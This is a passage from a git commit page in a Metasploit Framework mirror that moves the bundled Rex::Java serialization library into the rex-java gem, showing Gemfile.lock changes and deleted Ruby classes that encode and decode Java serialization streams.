github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00
Code Releases Activity

Replace rex/java with rex-java gem

Browse Source
This commit is contained in:
dmohanty-r7 2016-06-27 14:52:49 -05:00
parent fd07da3519
commit c2f3d411c3
No known key found for this signature in database
GPG Key ID: D1B3982EAB38742F
42 changed files with 5 additions and 4249 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
Gemfile.lock
View File

@ -28,6 +28,7 @@ PATH
rb-readline-r7
recog
redcarpet
rex-java
rex-powershell
rex-random_identifier
rex-registry
@ -134,7 +135,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (2.0.2)
metasploit-credential (2.0.3)
metasploit-concern
metasploit-model
metasploit_data_models
@ -209,6 +210,7 @@ GEM
recog (2.0.21)
nokogiri
redcarpet (3.3.4)
rex-java (0.1.2)
rex-powershell (0.1.0)
rex-random_identifier
rex-text

3
lib/rex/java.rb
View File

@ -1,3 +0,0 @@
# -*- coding: binary -*-
require 'rex/java/serialization'

57
lib/rex/java/serialization.rb
View File

@ -1,57 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
# Include constants defining terminal and constant
# values expected in a stream.
module Serialization
STREAM_MAGIC = 0xaced
STREAM_VERSION = 5
TC_NULL = 0x70
TC_REFERENCE = 0x71
TC_CLASSDESC = 0x72
TC_OBJECT = 0x73
TC_STRING = 0x74
TC_ARRAY = 0x75
TC_CLASS = 0x76
TC_BLOCKDATA = 0x77
TC_ENDBLOCKDATA = 0x78
TC_RESET = 0x79
TC_BLOCKDATALONG = 0x7A
TC_EXCEPTION = 0x7B
TC_LONGSTRING = 0x7C
TC_PROXYCLASSDESC = 0x7D
TC_ENUM = 0x7E
BASE_WIRE_HANDLE = 0x7E0000
SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE
SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE
SC_SERIALIZABLE = 0x02
SC_EXTERNALIZABLE = 0x04
SC_ENUM = 0x10
PRIMITIVE_TYPE_CODES = {
'B' => 'byte',
'C' => 'char',
'D' => 'double',
'F' => 'float',
'I' => 'int',
'J' => 'long',
'S' => 'short',
'Z' => 'boolean'
}
OBJECT_TYPE_CODES = {
'[' => 'array',
'L' => 'object'
}
TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES)
end
end
end
require 'rex/java/serialization/decode_error'
require 'rex/java/serialization/encode_error'
require 'rex/java/serialization/model'
require 'rex/java/serialization/builder'

94
lib/rex/java/serialization/builder.rb
View File

@ -1,94 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
# This class provides a builder to help in the construction of
# Java serialized contents.
class Builder
# Creates a Rex::Java::Serialization::Model::NewArray
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [String] :values_type
# @option opts [Array] :values
# @return [Rex::Java::Serialization::Model::NewArray]
# @see #new_class
def new_array(opts = {})
class_desc = opts[:description] || new_class(opts)
type = opts[:values_type] || ''
values = opts[:values] || []
array = Rex::Java::Serialization::Model::NewArray.new
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
array.array_description.description = class_desc
array.type = type
array.values = values
array
end
# Creates a Rex::Java::Serialization::Model::NewObject
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
# @option opts [Array] :data
# @return [Rex::Java::Serialization::Model::NewObject]
# @see #new_class
def new_object(opts = {})
class_desc = opts[:description] || new_class(opts)
data = opts[:data] || []
object = Rex::Java::Serialization::Model::NewObject.new
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
object.class_desc.description = class_desc
object.class_data = data
object
end
# Creates a Rex::Java::Serialization::Model::NewClassDesc
#
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
# @option opts [String] :name
# @option opts [Fixnum] :serial
# @option opts [Fixnum] :flags
# @option opts [Array] :fields
# @option opts [Array] :annotations
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
# @return [Rex::Java::Serialization::Model::NewClassDesc]
def new_class(opts = {})
class_name = opts[:name] || ''
serial_version = opts[:serial] || 0
flags = opts[:flags] || 2
fields = opts[:fields] || []
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new]
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
class_desc.serial_version = serial_version
class_desc.flags = flags
class_desc.fields = []
fields.each do |f|
field = Rex::Java::Serialization::Model::Field.new
field.type = f[0]
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
class_desc.fields << field
end
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
class_desc.class_annotation.contents = annotations
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
class_desc.super_class.description = super_class
class_desc
end
end
end
end
end

11
lib/rex/java/serialization/decode_error.rb
View File

@ -1,11 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
class DecodeError < ::RuntimeError
end
end
end
end

11
lib/rex/java/serialization/encode_error.rb
View File

@ -1,11 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
class EncodeError < ::RuntimeError
end
end
end
end

33
lib/rex/java/serialization/model.rb
View File

@ -1,33 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
autoload :Annotation, 'rex/java/serialization/model/annotation'
autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long'
autoload :BlockData, 'rex/java/serialization/model/block_data'
autoload :ClassDesc, 'rex/java/serialization/model/class_desc'
autoload :Contents, 'rex/java/serialization/model/contents'
autoload :Element, 'rex/java/serialization/model/element'
autoload :EndBlockData, 'rex/java/serialization/model/end_block_data'
autoload :Field, 'rex/java/serialization/model/field'
autoload :LongUtf, 'rex/java/serialization/model/long_utf'
autoload :NewArray, 'rex/java/serialization/model/new_array'
autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc'
autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc'
autoload :NewEnum, 'rex/java/serialization/model/new_enum'
autoload :NewObject, 'rex/java/serialization/model/new_object'
autoload :NewClass, 'rex/java/serialization/model/new_class'
autoload :NullReference, 'rex/java/serialization/model/null_reference'
autoload :Reference, 'rex/java/serialization/model/reference'
autoload :Reset, 'rex/java/serialization/model/reset'
autoload :Stream, 'rex/java/serialization/model/stream'
autoload :Utf, 'rex/java/serialization/model/utf'
end
end
end
end

69
lib/rex/java/serialization/model/annotation.rb
View File

@ -1,69 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides an annotation representation. It's used for both class
# annotations (classAnnotation) and object annotations (objectAnnotation).
class Annotation < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute contents
# @return [Array] The annotation contents
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.contents = []
end
# Deserializes a Rex::Java::Serialization::Model::Annotation
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
loop do
content = decode_content(io, stream)
self.contents << content
return self if content.kind_of?(EndBlockData)
end
self
end
# Serializes the Rex::Java::Serialization::Model::Annotation
#
# @return [String] if serialization suceeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
encoded = ''
contents.each do |content|
encoded << encode_content(content)
end
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = '[ '
contents_data = contents.collect {|content| "#{print_content(content)}"}
str << contents_data.join(', ')
str << ' ]'
str
end
end
end
end
end
end

70
lib/rex/java/serialization/model/block_data.rb
View File

@ -1,70 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a block data representation
class BlockData < Element
# @!attribute length
# @return [Integer] the length of the block
attr_accessor :length
# @!attribute contents
# @return [String] the contents of the block
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
# @param contents [String] the contents of the block
def initialize(stream = nil, contents = '')
super(stream)
self.contents = contents
self.length = contents.length
end
# Deserializes a Rex::Java::Serialization::Model::BlockData
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil?
self.length = raw_length.unpack('C')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
end
end
self
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
contents_hex = []
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
"[ #{contents_hex.join(', ')} ]"
end
# Serializes the Rex::Java::Serialization::Model::BlockData
#
# @return [String]
def encode
encoded = [length].pack('C')
encoded << contents
encoded
end
end
end
end
end
end

72
lib/rex/java/serialization/model/block_data_long.rb
View File

@ -1,72 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a block data (long) representation
class BlockDataLong < Element
# @!attribute length
# @return [Integer] the length of the block
attr_accessor :length
# @!attribute contents
# @return [String] the contents of the block
attr_accessor :contents
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
# @param contents [String] the contents of the block
def initialize(stream = nil, contents = '')
super(stream)
self.contents = contents
self.length = contents.length
end
# Deserializes a Rex::Java::Serialization::Model::BlockDataLong
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(4)
if raw_length.nil? || raw_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong'
end
self.length = raw_length.unpack('N')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
end
end
self
end
# Serializes the Rex::Java::Serialization::Model::BlockDataLong
#
# @return [String]
def encode
encoded = [length].pack('N')
encoded << contents
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
contents_hex = []
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
"[ #{contents_hex.join(', ')} ]"
end
end
end
end
end
end

64
lib/rex/java/serialization/model/class_desc.rb
View File

@ -1,64 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Java classDesc representation
class ClassDesc < Element
include Rex::Java::Serialization::Model::Contents
attr_accessor :description
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.description = nil
end
# Deserializes a Rex::Java::Serialization::Model::ClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
content = decode_content(io, stream)
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
unless allowed_contents.include?(content.class)
raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed'
end
self.description = content
self
end
# Serializes the Rex::Java::Serialization::Model::ClassDesc
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
encoded = ''
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
unless allowed_contents.include?(description.class)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc'
end
encoded << encode_content(description)
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
print_content(description)
end
end
end
end
end
end

163
lib/rex/java/serialization/model/contents.rb
View File

@ -1,163 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
module Contents
include Rex::Java::Serialization
# Deserializes a content
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content
def decode_content(io, stream)
opcode = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil?
opcode = opcode.unpack('C')[0]
content = nil
case opcode
when TC_BLOCKDATA
content = BlockData.decode(io, stream)
when TC_BLOCKDATALONG
content = BlockDataLong.decode(io, stream)
when TC_ENDBLOCKDATA
content = EndBlockData.decode(io, stream)
when TC_OBJECT
content = NewObject.decode(io, stream)
when TC_CLASS
content = NewClass.decode(io, stream)
when TC_ARRAY
content = NewArray.decode(io, stream)
when TC_STRING
content = Utf.decode(io, stream)
stream.add_reference(content) unless stream.nil?
when TC_LONGSTRING
content = LongUtf.decode(io, stream)
stream.add_reference(content) unless stream.nil?
when TC_ENUM
content = NewEnum.decode(io, stream)
when TC_CLASSDESC
content = NewClassDesc.decode(io, stream)
when TC_PROXYCLASSDESC
content = ProxyClassDesc.decode(io, stream)
when TC_REFERENCE
content = Reference.decode(io, stream)
when TC_NULL
content = NullReference.decode(io, stream)
when TC_EXCEPTION
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
when TC_RESET
content = Reset.decode(io, stream)
else
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content'
end
content
end
# Serializes a content
#
# @param content [Rex::Java::Serialization::Model::Element] the content to serialize
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode_content(content)
encoded = ''
case content
when BlockData
encoded << [TC_BLOCKDATA].pack('C')
when BlockDataLong
encoded << [TC_BLOCKDATALONG].pack('C')
when EndBlockData
encoded << [TC_ENDBLOCKDATA].pack('C')
when NewObject
encoded << [TC_OBJECT].pack('C')
when NewClass
encoded << [TC_CLASS].pack('C')
when NewArray
encoded << [TC_ARRAY].pack('C')
when Utf
encoded << [TC_STRING].pack('C')
when LongUtf
encoded << [TC_LONGSTRING].pack('C')
when NewEnum
encoded << [TC_ENUM].pack('C')
when NewClassDesc
encoded << [TC_CLASSDESC].pack('C')
when ProxyClassDesc
encoded << [TC_PROXYCLASSDESC].pack('C')
when NullReference
encoded << [TC_NULL].pack('C')
when Reset
encoded << [TC_RESET].pack('C')
when Reference
encoded << [TC_REFERENCE].pack('C')
else
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
end
encoded << content.encode
encoded
end
# Creates a print-friendly string representation
#
# @param content [Rex::Java::Serialization::Model::Element] the content to print
# @return [String]
# @raise [Rex::Java::Serialization::EncodeError] if the content is unknown
def print_content(content)
str = ''
case content
when BlockData
str << "#{print_class(content)} { #{content.to_s} }"
when BlockDataLong
str << "#{print_class(content)} { #{content.to_s} }"
when EndBlockData
str << "#{print_class(content)}"
when NewObject
str << "#{print_class(content)} { #{content.to_s} }"
when ClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when NewClass
str << "#{print_class(content)} { #{content.to_s} }"
when NewArray
str << "#{print_class(content)} { #{content.to_s} }"
when Utf
str << "#{print_class(content)} { #{content.to_s} }"
when LongUtf
str << "#{print_class(content)} { #{content.to_s} } "
when NewEnum
str << "#{print_class(content)} { #{content.to_s} }"
when NewClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when ProxyClassDesc
str << "#{print_class(content)} { #{content.to_s} }"
when NullReference
str << "#{print_class(content)}"
when Reset
str << "#{print_class(content)}"
when Reference
str << "#{print_class(content)} { #{content.to_s} }"
else
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
end
str
end
# Creates a print-friendly string representation of the content class
#
# @param content [Rex::Java::Serialization::Model::Element] the content
# @return [String]
def print_class(content)
content.class.name.split('::').last
end
end
end
end
end
end

44
lib/rex/java/serialization/model/element.rb
View File

@ -1,44 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class Element
attr_accessor :stream
# Deserializes a Rex::Java::Serialization::Model::Element
#
# @param io [IO] the io to read from
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
# @return [nil] if deserialization doesn't succeed
def self.decode(io, stream = nil)
elem = self.new(stream)
elem.decode(io)
end
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
self.stream = stream
end
def decode(io)
self
end
def encode
''
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
self.class.name.split('::').last
end
end
end
end
end
end

12
lib/rex/java/serialization/model/end_block_data.rb
View File

@ -1,12 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
class EndBlockData < Element
end
end
end
end
end

173
lib/rex/java/serialization/model/field.rb
View File

@ -1,173 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a field description representation (fieldDesc). It's used for
# both primitive descriptions (primitiveDesc) and object descriptions (objectDesc).
class Field < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute type
# @return [String] The type of the field.
attr_accessor :type
# @!attribute name
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
attr_accessor :name
# @!attribute field_type
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
attr_accessor :field_type
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.type = ''
self.name = nil
self.field_type = nil
end
# Deserializes a Rex::Java::Serialization::Model::Field
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
code = io.read(1)
unless code && is_valid?(code)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field'
end
self.type = TYPE_CODES[code]
self.name = Utf.decode(io, stream)
if is_object?
self.field_type = decode_field_type(io)
end
self
end
# Serializes the Rex::Java::Serialization::Model::Field
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless name.kind_of?(Rex::Java::Serialization::Model::Utf)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
unless is_type_valid?
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
encoded = ''
encoded << TYPE_CODES.key(type)
encoded << name.encode
if is_object?
encoded << encode_field_type
end
encoded
end
# Whether the field type is valid.
#
# @return [Boolean]
def is_type_valid?
if TYPE_CODES.values.include?(type)
return true
end
false
end
# Whether the field type is a primitive one.
#
# @return [Boolean]
def is_primitive?
if PRIMITIVE_TYPE_CODES.values.include?(type)
return true
end
false
end
# Whether the field type is an object one.
#
# @return [Boolean]
def is_object?
if OBJECT_TYPE_CODES.values.include?(type)
return true
end
false
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{name} "
if is_primitive?
str << "(#{type})"
else
str << "(#{field_type})"
end
str
end
private
# Whether the type opcode is a valid one.
#
# @param code [String] A type opcode
# @return [Boolean]
def is_valid?(code)
if TYPE_CODES.keys.include?(code)
return true
end
false
end
# Serializes the `field_type` attribute.
#
# @return [String]
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_field_type
allowed_contents = [Utf, Reference]
unless allowed_contents.include?(field_type.class)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
end
encoded = encode_content(field_type)
encoded
end
# Deserializes the `field_type` value.
#
# @param io [IO] the io to read from
# @return [Java::Serialization::Model::Utf]
# @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed
def decode_field_type(io)
allowed_contents = [Utf, Reference]
type = decode_content(io, stream)
unless allowed_contents.include?(type.class)
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type'
end
type
end
end
end
end
end
end

48
lib/rex/java/serialization/model/long_utf.rb
View File

@ -1,48 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a Long Utf string representation
class LongUtf < Utf
# Deserializes a Rex::Java::Serialization::Model::LongUtf
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(8)
if raw_length.nil? || raw_length.length != 8
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
end
self.length = raw_length.unpack('Q>')[0]
if length == 0
self.contents = ''
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
end
end
self
end
# Serializes the Rex::Java::Serialization::Model::LongUtf
#
# @return [String]
def encode
encoded = [length].pack('Q>')
encoded << contents
encoded
end
end
end
end
end
end

229
lib/rex/java/serialization/model/new_array.rb
View File

@ -1,229 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewArray (Java Array) representation
class NewArray < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute array_description
# @return [Java::Serialization::Model::ClassDesc] The description of the array
attr_accessor :array_description
# @!attribute type
# @return [String] The type of the array values
attr_accessor :type
# @!attribute values
# @return [Array] The contents of the java array
attr_accessor :values
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.array_description = nil
self.type = ''
self.values = []
end
# Deserializes a Rex::Java::Serialization::Model::NewArray
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.array_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
self.type = array_type
values_length = decode_values_length(io)
values_length.times do
value = decode_value(io)
self.values << value
end
self
end
# Serializes the Rex::Java::Serialization::Model::NewArray
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless array_description.kind_of?(ClassDesc)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray'
end
encoded = ''
encoded << array_description.encode
encoded << [values.length].pack('N')
values.each do |value|
encoded << encode_value(value)
end
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{type}, "
values_data = values.collect {|v| "#{v}"}
str << "#{values_data}"
end
private
# Deserializes the NewArray length
#
# @param io [IO] the io to read from
# @return [Integer] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_values_length(io)
values_length = io.read(4)
if values_length.nil? || values_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray'
end
values_length.unpack('N')[0]
end
# Extracts the NewArray data type
#
# @return [String]
# @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid
# or type isn't supported
def array_type
if array_description.nil?
raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description'
end
unless array_description.kind_of?(ClassDesc)
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class'
end
desc = array_description.description
if desc.class == Reference
ref = desc.handle - BASE_WIRE_HANDLE
desc = stream.references[ref]
end
unless desc.class_name.contents[0] == '[' # Array
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description'
end
decoded_type = desc.class_name.contents[1]
if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type)
return PRIMITIVE_TYPE_CODES[decoded_type]
elsif decoded_type == 'L' # L : Object
return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class
else
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type'
end
end
# Deserializes a NewArray value
#
# @param io [IO] the io to read from
# @return [Fixnum, Float] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
def decode_value(io)
value = nil
case type
when 'byte'
value = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
value = value.unpack('c')[0]
when 'char'
value = io.read(2)
unless value && value.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('s>')[0]
when 'double'
value = io.read(8)
unless value && value.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('G')[0]
when 'float'
value = io.read(4)
unless value && value.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('g')[0]
when 'int'
value = io.read(4)
unless value && value.length == 4
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('l>')[0]
when 'long'
value = io.read(8)
unless value && value.length == 8
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('q>')[0]
when 'short'
value = io.read(2)
unless value && value.length == 2
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value = value.unpack('s>')[0]
when 'boolean'
value = io.read(1)
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
value = value.unpack('c')[0]
else # object
value = decode_content(io, stream)
end
value
end
# Serializes an NewArray value
#
# @param value [<Fixnum, Float>] the value to serialize
# @return [String] the serialized value
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_value(value)
res = ''
case type
when 'byte'
res = [value].pack('c')
when 'char'
res = [value].pack('s>')
when 'double'
res = [value].pack('G')
when 'float'
res = [value].pack('g')
when 'int'
res = [value].pack('l>')
when 'long'
res = [value].pack('q>')
when 'short'
res = [value].pack('s>')
when 'boolean'
res = [value].pack('c')
when Element
res = value.encode
else # object
res = encode_content(value)
end
res
end
end
end
end
end
end

57
lib/rex/java/serialization/model/new_class.rb
View File

@ -1,57 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a NewArray (Java Array) representation
class NewClass < Element
include Rex::Java::Serialization::Model::Contents
# @!attribute array_description
# @return [Java::Serialization::Model::ClassDesc] The description of the class
attr_accessor :class_description
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.class_description = nil
end
# Deserializes a Rex::Java::Serialization::Model::NewClass
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_description = ClassDesc.decode(io, stream)
stream.add_reference(self) unless stream.nil?
self
end
# Serializes the Rex::Java::Serialization::Model::NewClass
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_description.kind_of?(ClassDesc)
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass'
end
encoded = ''
encoded << class_description.encode
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
print_content(class_description)
end
end
end
end
end
end

154
lib/rex/java/serialization/model/new_class_desc.rb
View File

@ -1,154 +0,0 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a newClassDesc representation
class NewClassDesc < Element
include Rex::Java::Serialization
# @!attribute class_name
# @return [Rex::Java::Serialization::Model::Utf] The name of the class
attr_accessor :class_name
# @!attribute serial_version
# @return [Fixnum] The java class serial version
attr_accessor :serial_version
# @!attribute flags
# @return [Fixnum] The java class flags
attr_accessor :flags
# @!attribute fields
# @return [Array] The java class fields
attr_accessor :fields
# @!attribute class_annotation
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
attr_accessor :class_annotation
# @!attribute super_class
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
attr_accessor :super_class
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.class_name = nil
self.serial_version = 0
self.flags = 0
self.fields = []
self.class_annotation = nil
self.super_class = nil
end
# Deserializes a Rex::Java::Serialization::Model::NewClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.class_name = Utf.decode(io, stream)
self.serial_version = decode_serial_version(io)
stream.add_reference(self) unless stream.nil?
self.flags = decode_flags(io)
fields_length = decode_fields_length(io)
fields_length.times do
field = Field.decode(io, stream)
self.fields << field
end
self.class_annotation = Annotation.decode(io, stream)
self.super_class = ClassDesc.decode(io, stream)
self
end
# Serializes the Rex::Java::Serialization::Model::ClassDescription
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc'
end
encoded = ''
encoded << class_name.encode
encoded << [serial_version].pack('q>')
encoded << [flags].pack('C')
encoded << [fields.length].pack('n')
fields.each do |field|
encoded << field.encode
end
encoded << class_annotation.encode
encoded << super_class.encode
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = "#{class_name}, [ "
fields_str = []
fields.each do |field|
fields_str << field.to_s
end
str << "#{fields_str.join(', ')} ]"
case super_class.description
when NewClassDesc
str << ", @super_class: #{super_class.description.class_name.to_s}"
when Reference
str << ", @super_class: #{super_class.description.to_s}"
end
str
end
private
# Deserializes a class serial version
#
# @param io [IO] the io to read from
